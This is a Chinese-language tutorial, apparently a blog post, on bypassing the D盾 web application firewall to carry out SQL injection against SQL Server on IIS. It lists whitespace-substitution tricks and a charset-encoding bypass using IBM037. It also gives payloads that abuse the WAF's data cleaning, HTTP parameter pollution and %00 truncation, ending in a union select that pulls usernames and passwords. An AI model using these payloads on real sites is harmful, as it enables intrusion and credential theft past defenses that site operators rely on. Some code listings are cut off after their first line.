WAF-Bypass之SQL注入绕过D盾
SQLServer特性
空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
- 位置①
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用数学运算符以及数据类型:news_id=1.0,news_id=1e0,news_id=1-1
- 位置②
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可以利用加号+替换空格:union+select
- 位置③
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用数学运算符:+、-、~、. (注:其中-、~、.号必须是select查询的第一个字段的数据类型为数字型才能使用)
- 可以利用小括号()替换空格:select(1),2,db_name()
- 位置④
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 位置⑤
- 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
- 可以利用注释符号:/**/、—+a%0d%0a
- 可利用其他字符:%80~%FF(需要IIS服务器支持)
- 可以利用点号.替换空格:from.users
- 可以利用中括号[]替换空格:from[users]
实验环境
数据库:SQL Server 2008R2
Web服务器: IIS7.5 CN
WAF:D盾_v2.1.6.1[测试版]
靶场源码如下:index.aspx
1 | <%@ Page Language="C#" AutoEventWireup="true" %> |
另类字符集编码绕过
绕过原理
HTTP协议兼容性:HTTP Charset的多样性
Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样可以使用。
常见的服务器与可见编码如下所示:
| 服务器信息 | 可用编码 | 说明 |
|---|---|---|
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 | 对参数名和参数值进行编码,服务器会对参数名和参数值均进行url解码,需要对等号和& and进行编码(不进行url编码) |
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 | 对参数名和参数值进行便慢慢 服务器会对参数名和参数值均进行url解码 等号和&符号不应该以任何方式编码。 |
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 | 参数名按原始格式(可以像往常一样使用url编码)Body不论是否经过url编码均可等号和&符号不应该以任何方式编码 |
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 | 参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码 |
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 | 参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码 |
实验步骤
我们使用如下脚本来进行编码转换:
1 | import urllib |
这里我们使用IBM037编码进行测试。
中文版的BurpSuite需要改变一下BurpSuite的字体类型

然后使用BurpSuite抓包,并发送到Repeater

修改请求方法为POST

在Content-Type头中添加charset字段,值为ibm037
1 | Content-Type: application/x-www-form-urlencoded;charset=ibm037 |

使用脚本进行编码
1 | python2 encode.py "id=1" IBM037 |
将请求内容改为%89%84=%F1,并发送

可以看到正常返回查询数据
接下来就是进行SQL注入了

成功绕过D盾WAF
D盾清洗数据缺陷+多个规则特性组合绕过
绕过原理
规则缺陷/特性:利用D盾清洗数据的特性
WAF内置多种解码器,经过多次解码以后可能导致绕过。
当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗(为提升性能和降低规则复杂性),筛选出真实的攻击数据进行检测,但是,如果清洗方式不正确,会导致真正的攻击部分被清洗,然后拿去检测的是不含有攻击向量的数据,从而被Bypass。
规则缺陷/特性:数据库空格可使用其它字符替代
替代字符可查看SQLServer特性。
规则缺陷/特性:%00时会被认为读取已结束
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留。
规则缺陷/特性:HTTP参数污染
同时提交参数id,会接收所有参数,通过逗号分隔。
实验步骤
抓包,并更改请求方法

测试D盾清洗数据的特性:
D盾为了防御XSS攻击会对提交的特殊字符进行HTML实体编码,例如提交的数据为<script>

那么假如我们将提交一个已经实体化编码的数据呢?

这里并没有将>进行解码,而是将&符进行编码

我们可以利用这个特性,使用这串字符去绕过某些多个关键字匹配的规则,如:union…select、order…by、/*…*/、’…’ 等

绕过 and 1=1
注:1.e可以代替空格
1 | id=1.eand/*%26%67%74%3b*/1=1 |

绕过 order by
1 | id=1 order/*%26%67%74%3b*/by 2 |

绕过 union select
1 | id=-1.eunion--%26%67%74%3b%0aselect NULL,NULL,NULL |

绕过 from
from的绕过这就是一个技术活了,这里是利用到了HPP以及%00截断来进行绕过
1 | id=-1.eunion--%26%67%74%3b%0aselect NULL,username,password/*%26%67%74%3b&id=%00%0d*/from users |
